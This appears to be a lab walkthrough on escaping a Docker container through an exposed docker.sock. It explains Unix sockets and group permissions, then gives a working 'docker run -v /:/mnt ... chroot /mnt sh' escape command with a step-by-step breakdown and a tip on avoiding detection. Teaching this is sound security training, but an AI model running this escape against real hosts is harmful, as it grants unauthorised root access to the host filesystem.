Vulnerability 2: Escaping via Exposed Docker Daemon

Unix Sockets 101 (One Size Fits All)

When mentioning "sockets", you would likely think of "sockets" in networking. Well, the concept here is almost the same. Sockets are used to move data between two places. Unix sockets use the filesystem to transfer data rather than networking interfaces. This is known as Inter-process Communication (IPC) and is essential in operating systems because being able to send data between processes is extremely important.

Unix sockets are substantially quicker at transferring data than TCP/IP sockets (Percona., 2020). This is why database technologies such as Redis boast such outstanding performance. Unix sockets also use file system permissions. This is important to remember for the next heading.

How Does Docker Use Sockets

When interacting with the Docker Engine (i.e. running commands such as docker run), this will be done using a socket (usually, this is done using a Unix socket unless you execute the commands to a remote Docker host). Recall that Unix sockets use filesystem permissions. This is why you must be a member of the Docker group (or root!) to run Docker commands, as you will need the permissions to access the socket owned by Docker.

cmnatic@demo-container:~$ groups
cmnatic sudo docker

Finding the Docker Socket in a Container

Remember, containers interact with the host operating system using the Docker Engine (and, therefore, have access to the Docker socket!) This socket (named docker.sock) will be mounted in the container. The location of this varies by the operating system the container is running, so you would want to find it. However, in this example, the container runs Ubuntu 18.04, meaning the docker.sock is located in /var/run.

This location can vary based on the operating system and can even be manually set by the developer at runtime of the container.

cmnatic@demo-container:~$ ls -la /var/run | grep sock
srw-rw---- 1 root docker 0 Dec 9 19:37 docker.sock

Exploiting the Docker Socket in a Container

First, let's confirm we can execute docker commands. You will either need to be root on the container or have the "docker" group permissions as a lower-privileged user.

We will use Docker to create a new container and mount the host's filesystem into this new container. Then we are going to access the new container and look at the host's filesystem.

Our final command will look like this: docker run -v /:/mnt --rm -it alpine chroot /mnt sh, which does the following:

  1. We will need to upload a docker image. For this room, I have provided this on the VM. It is called "alpine". The "alpine" distribution is not a necessity, but it is extremely lightweight and will blend in a lot better. To avoid detection, it is best to use an image that is already present in the system, otherwise, you will have to upload this yourself.

  2. We will use docker run to start the new container and mount the host's file system (/) to (/mnt) in the new container: docker run -v /:/mnt

  3. We will tell the container to run interactively (so that we can execute commands in the new container): -it

  4. Now, we will use the already provided alpine image: alpine

  5. We will use chroot to change the root directory of the container to be /mnt (where we are mounting the files from the host operating system): chroot /mnt

  6. Now, we will tell the container to run sh to gain a shell and execute commands in the container: sh

You may need to "Ctrl + C" to cancel the exploit once or twice for this vulnerability to work, but, as you can see below, we have successfully mounted the host operating system's filesystem into the new alpine container.

Verify Success

After executing the command, we should see that we have been placed into a new container. Remember, we mounted the host's filesystem to /mnt (and then used chroot to make the container's /mnt become /)

So, let's see the contents of / by doing ls /

root@alpine-container:~# ls /
bin   dev  home  lib32  libx32      media  opt   root  sbin  srv       sys  usr
boot  etc  lib   lib64  lost+found  mnt    proc  run   snap  swapfile  tmp  var

Last updated